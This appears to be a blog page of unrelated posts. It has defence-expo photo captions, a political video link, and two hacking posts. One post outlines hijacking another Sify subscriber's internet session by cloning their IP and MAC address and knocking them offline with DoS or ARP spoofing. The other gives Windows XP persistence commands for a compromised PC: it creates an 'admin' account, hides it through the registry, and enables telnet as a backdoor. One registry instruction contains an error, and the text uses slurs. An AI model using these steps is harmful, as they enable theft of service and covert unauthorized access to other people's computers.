Defence Section in IITF 2009

I took these photos in Defence Pavillion of IITF 2009, New Delhi using a camera phone. Quality isn't great. :(



Light Combat Aircraft - Tejas

Light Combat Aircraft - Tejas

Light COmbat Aircraft - Tejas

Astra AAM

BrahMos Cruise missile and Akash SAM

BrahMos Cruise Missile and Akash SAM

Astra AAM

Prithvi and Agni Ballistic missiles

Prithvi & Agni Ballistic Missiles

Tank-X

Pinaka MBRL and Tank-X

Thermal Imager

Konkur and Milan ATGMs

Light Weight Torpedo

FLAME ATGM launcher

Prithvi BM

Sukhoi 30 MKI Specs

Hawk AJT Specs

Light Combat Helicopter (LCH) Specs

LCA Tejas Specs

Lakshya PTA




Mirage 2000
Mig 27
Ajeet

Dhruv & IJT

HINDU INDIA - THE BIRTH OF CIVILIZATION DWARKA 10,000 YEAR OLD METROPOLIS FOUND PART 1 of 5

Balochistan Freedom Movement

Policy Matters – 8th July 2009 39:32
Naseem Zehra beings a new episode of Policy Matters.
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Added: July 8, 2009
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Nearly 40 minutes long talk show on some Paki channel. Baloch students tear apart Pakistan and all it's illusions of grandeur .

Download full video :

http://fileuploading.net/832788

Hacking Sify

Level of insecurity in Sify continues to amaze me. Maybe it's just the flawed LAN kind of network design they use, maybe it's the equipment or software ..whatever.

Anyhow, I've found another way to exploit Sify networks.Well, it's not really a new exploit  Attacks like this are not new. Managing a successful attack can give you free internet at the expense of some poor soul who happens to be in same network as yours.

 I'll not post complete details, only a bit of outline. Considering the no. of retarded script kiddies who are likely to use this simple exploit and misuse bandwidth of other Sify users, I think it's a fair idea.

1st you need to run a port scan and note down all the IPs and corresponding MAC addresses in your Sify network. Any moderately good port scanner can do it for you.

2nd choose one IP-MAC address combination of any user who is most likely logged in at that time and change your own IP and MAC address to same 

3rd, now use something to kick off that user temporarily off the network. Try doing this thing quick. It's one of the most vital steps. Hints, DoS, ARP spoof :p

Open your browser and start surfing, downloading whatever. This attack works on almost every LAN, but I expected better from a national level ISP

What to do once you get in a remote PC - 2

Part 1

In this post, I'll post more stuff that you can do to maintain access to any remote Windows XP computer. Previous post is here.

1. Creating Invisible Account

You can create a user "Admin" by running following command

c:\windows\system32\net user admin admin /add

But this user will be visible on XP logon screen. To hide it, you'll have to edit some registry settings
Open up Registry Editor and navigate to this key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList


Here, modify or create a DWORD Value by right-clicking the right side of the screen and adding DWORD Value. Name of the value must be same as the account name (admin here) that you want to hide. Set the value data 0 to hide it and 0 to unhide.



2. Enabling Telnet

Telnet is one simple utility that you can use to maintain access without uploading any extra backdoor/software. Telnet server is disabled on most PCs by default. You'll have to manually enable the service to start automatically


sc config telnet start= auto net start telnet

That's it. Any service can be enabled using this command. Just replace telnet with the service of your choice.
Now you can use the account you created earlier to login any time you want.